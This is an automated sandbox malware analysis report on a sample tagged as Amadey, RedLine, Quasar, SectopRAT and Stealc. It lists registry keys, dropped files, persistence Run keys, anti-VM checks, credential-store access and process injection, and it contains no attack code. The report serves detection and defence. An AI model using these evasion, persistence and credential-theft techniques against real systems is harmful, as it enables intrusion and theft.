Malware Analysis Report

2024-10-19 08:35

Sample ID 240731-btxqcstdra
Target 1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75
SHA256 1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75
Tags
amadey quasar redline sectoprat 0657d1 exodusmarket.io fed3aa office04 credential_access discovery evasion execution infostealer persistence rat spyware stealer trojan stealc 25072023 30072024 livetraffic logs qll valenciga pyinstaller
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75

Threat Level: Known bad

The file 1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75 was found to be: Known bad.

Malicious Activity Summary

amadey quasar redline sectoprat 0657d1 exodusmarket.io fed3aa office04 credential_access discovery evasion execution infostealer persistence rat spyware stealer trojan stealc 25072023 30072024 livetraffic logs qll valenciga pyinstaller

Suspicious use of NtCreateUserProcessOtherParentProcess

SectopRAT payload

RedLine

Amadey

Quasar RAT

Stealc

SectopRAT

RedLine payload

Quasar payload

Identifies VirtualBox via ACPI registry values (likely anti-VM)

Credentials from Password Stores: Credentials from Web Browsers

Stops running service(s)

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell

Drops startup file

Identifies Wine through registry keys

Unsecured Credentials: Credentials In Files

Checks BIOS information in registry

Executes dropped EXE

Reads WinSCP keys stored on the system

Checks computer location settings

Loads dropped DLL

Reads user/profile data of web browsers

Reads data files stored by FTP clients

Blocklisted process makes network request

Checks for any installed AV software in registry

Adds Run key to start application

Enumerates connected drives

Accesses cryptocurrency files/wallets, possible credential harvesting

Power Settings

Looks up external IP address via web service

Checks installed software on the system

Suspicious use of SetThreadContext

Drops file in System32 directory

Suspicious use of NtSetInformationThreadHideFromDebugger

Drops file in Program Files directory

Launches sc.exe

Drops file in Windows directory

Detects Pyinstaller

Browser Information Discovery

Program crash

Unsigned PE

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Uses Volume Shadow Copy service COM API

Suspicious use of AdjustPrivilegeToken

Checks SCSI registry key(s)

Modifies data under HKEY_USERS

Suspicious use of FindShellTrayWindow

Modifies registry class

Scheduled Task/Job: Scheduled Task

Enumerates system info in registry

Suspicious behavior: EnumeratesProcesses

Modifies system certificate store

Suspicious use of SendNotifyMessage

Suspicious use of SetWindowsHookEx

Suspicious behavior: AddClipboardFormatListener

Checks processor information in registry

Uses Task Scheduler COM API

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Reported

2024-07-31 01:26

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-31 01:26

Reported

2024-07-31 01:29

Platform

win10v2004-20240730-en

Max time kernel

145s

Max time network

153s

Command Line

"C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe"

Signatures

Amadey

trojan amadey

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A

SectopRAT

trojan rat sectoprat

SectopRAT payload

Description Indicator Process Target
N/A N/A N/A N/A

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1000030001\c19124b829.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1000030001\c19124b829.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1000030001\c19124b829.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\dropperrr.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\1000020001\d0c9ab23e4.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\1000030001\c19124b829.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Control Panel\International\Geo\Nation C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000020001\d0c9ab23e4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Users\Admin\1000029002\83eb245d83.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000030001\c19124b829.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\adada.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\dropperrr.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\ProgramData\cffit\jpxj.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1cdc8fa106c894862958257680456c387e04d3cff191e13b19feb02d34f61d75.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1000030001\c19124b829.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A
N/A N/A C:\Windows\syswow64\MsiExec.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe N/A
N/A N/A C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d0c9ab23e4.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000020001\\d0c9ab23e4.exe" C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2927035347-1736702767-189270196-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\83eb245d83.exe = "C:\\Users\\Admin\\1000029002\\83eb245d83.exe" C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Endpoint Manager = "C:\\Program Files (x86)\\COMODO\\Endpoint Manager\\ITSMAgent.exe" C:\Windows\system32\msiexec.exe N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\msiexec.exe N/A
N/A N/A C:\Windows\System32\msiexec.exe N/A

Checks for any installed AV software in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS\Esm C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS\Esm C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS\Esm C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS\Esm\ C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Delete value \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS\Esm\RemovalSecurity C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key opened \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS\Esm\RemovalSecurity C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A

Checks installed software on the system

discovery

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\V: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\E: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\Y: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\B: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\I: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\O: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\R: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\Z: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\M: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Y: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\N: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\R: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Z: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\G: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\H: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\J: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\B: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\L: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\S: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\W: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\X: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\K: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\E: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\T: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\X: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\H: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\M: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\O: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\P: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\A: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\P: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Q: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\W: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\G: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\J: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\K: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\Q: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\N: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\I: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\T: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\U: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\L: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\S: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\A: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\V: C:\Windows\System32\msiexec.exe N/A
File opened (read-only) \??\U: C:\Windows\system32\msiexec.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File created C:\Windows\System32\DriverStore\FileRepository\display.inf_amd64_71aa85b0e2292a7a\display.PNF C:\Program Files\Google\Chrome\Application\chrome.exe N/A
File created \??\c:\windows\system32\driverstore\filerepository\display.inf_amd64_71aa85b0e2292a7a\display.PNF C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 6844 set thread context of 6920 N/A C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 7048 set thread context of 7156 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 7048 set thread context of 7184 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 7048 set thread context of 1464 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 7048 set thread context of 9044 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 7048 set thread context of 8868 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 7048 set thread context of 7748 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 7048 set thread context of 9140 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 7048 set thread context of 6636 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 7048 set thread context of 7956 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 7048 set thread context of 7940 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 7048 set thread context of 6780 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 7048 set thread context of 8160 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 7048 set thread context of 6584 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 7048 set thread context of 7364 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 7048 set thread context of 4744 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 7048 set thread context of 4496 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 7048 set thread context of 3896 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 7048 set thread context of 8232 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 7048 set thread context of 6952 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
PID 7048 set thread context of 5076 N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe

Drops file in Program Files directory

Description Indicator Process Target
